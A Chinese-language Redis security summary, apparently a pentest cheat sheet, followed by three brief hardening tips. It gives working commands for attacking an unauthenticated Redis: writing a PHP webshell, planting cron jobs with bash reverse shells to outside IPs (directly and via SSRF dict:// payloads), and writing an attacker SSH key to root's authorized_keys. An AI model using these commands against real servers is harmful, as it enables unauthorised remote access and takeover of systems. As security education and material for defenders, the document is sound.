Redis安全总结

介绍

Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

官网:http://www.redis.net.cn/

互动教程:http://try.redis.io/

Redis默认监听6379端口.

利用

如果6379端口对外开放,且未设置访问密码或密码太弱,可能存在被Getshell的风险.

写webshell


1
2
3
4
config set dir /var/www/html/
config set dbfilename shell.php
set webshell "<?php phpinfo(); ?>"
save

写计划任务反弹shll

1
2
3
4
set 0 "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/172.16.44.154/21 0>&1\n\n"
config set dir /var/spool/cron/
config set dbfilename root
save

dict协议:

1
2
3
4
5
dict://0xAC120002:6379/flushall
dict://0xAC120002:6379/set:0:"\x0a\x0a*/1\x20*\x20*\x20*\x20*\x20/bin/bash\x20-i\x20>\x26\x20/dev/tcp/111.111.111.111/1234\x200>\x261\x0a\x0a\x0a"
dict://0xAC120002:6379/config:set:dir:/var/spool/cron
dict://0xAC120002:6379/config:set:dbfilename:root
dict://0xAC120002:6379/save

ps.

1
2
3
crontab -l 查看当前用户任务
crontab -e 编辑当前用户任务
crontab -r 删除当前用户任务

写公钥连SSH

生成密钥对,

1
2
ssh-keygen -t rsa

把公钥放到目标的的/root/.ssh目录下,

(如果没有.ssh目录,就ssh-keygen -f rsa 生成一下就有了)

1
2
3
4
config set dir /root/.ssh
config set dbfilename authorized_keys
set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDbQByRQly8or9mp2wwRaD0vqp03YX6RNEAoi2EDAx2xyuMIS5wEjTsJ2dpXBCTdAJ94Cw7tRw7esuh4DDF+KMH0crD8OmAY6YVZSIxsW6MRAHtH1moc/6+qgy5o+Q9Q32LLtPz+nUn1pqJl1GpP+RumU8Z7gPLf3EFWBuTYcialfcNwPmUWDewNggdQjsBR++nkhKql/7WGEuPkocu4cO6wVtVk/Q7DkGTVJ1Su2H040sOh/VpQIDeCiGRlUBXADcDOJikSbRj9WgDasEBrcaLksGbud3QRTHP5kM/fukU1OJW2v3YNCWkBMjrdOXFP4gnGnn0Kd2A8Ul7GARH8NWV root@kali\n\n\n"
save

登陆,

1
ssh -i id_rsa root@172.22.0.2

ps. 看到过有人提到往/etc/profile.d/写启动脚本来反弹shell,测试这种方法是行不通的,因为Redis会在脚本收尾加上一些标志信息,shell脚本无法执行。

加固

  1. 配置bind选项,限定连接redis的ip(127.0.0.1)
  2. 配置requirepass选项,设置密码
  3. 不要用root启动redis